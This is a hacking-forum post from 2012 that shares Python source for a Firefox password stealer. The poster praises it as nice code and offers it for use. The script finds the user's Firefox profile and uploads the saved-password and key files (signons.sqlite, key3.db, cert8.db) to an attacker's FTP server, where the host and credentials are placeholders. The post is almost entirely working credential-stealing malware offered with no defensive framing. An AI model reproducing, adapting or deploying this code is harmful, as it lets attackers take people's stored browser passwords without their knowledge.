[Python] Firefox Password Stealer 10-30-2012, 03:46 PM
#1
Hello guys!
I found this stealer written in Python. While it doesn't decrypt the passwords, it's still some pretty nice code.
Credits to the coder.
I found this stealer written in Python. While it doesn't decrypt the passwords, it's still some pretty nice code.
Credits to the coder.
Spoiler: Code in Python
Code:
import ftplib
import getpass
import os
#get the default user profile
dirs = os.listdir("C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/")
#directorys of the needed files
cert8 = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/cert8.db"
key03 = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/key3.db"
signons = "C:/users/" + getpass.getuser() + "/AppData/Roaming/Mozilla/Firefox/Profiles/" + dirs[0] + "/signons.sqlite"
#check if the path of the files exist
if os.path.exists(cert8):
pass
else:
exit()
if os.path.exists(key03):
pass
else:
exit()
if os.path.exists(signons):
pass
else:
exit()
#set ftp + server
ftp = ftplib.FTP("server")
#login to your ftp
ftp.login("login", "password")
#open these file with readbinary mode
cert = open(cert8, "rb")
key = open(key03, "rb")
sig = open(signons, "rb")
#try to upload this files to you Ftp server
try:
ftp.storbinary('STOR {0}'.format("/ff/cert8.db"), cert)
ftp.storbinary('STOR {0}'.format("/ff/key3.db"), key)
ftp.storbinary('STOR {0}'.format("/ff/signons.sqlite"), sig)
except:
pass
#close ftp connection
ftp.close()
#close files
cert.close()
key.close()
sig.close()
(This post was last modified: 10-30-2012, 03:46 PM by Oni.)

![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)

![[Image: 57sQsY2.png]](http://i.imgur.com/57sQsY2.png)
![[Image: hFDLG.png]](http://i.imgur.com/hFDLG.png)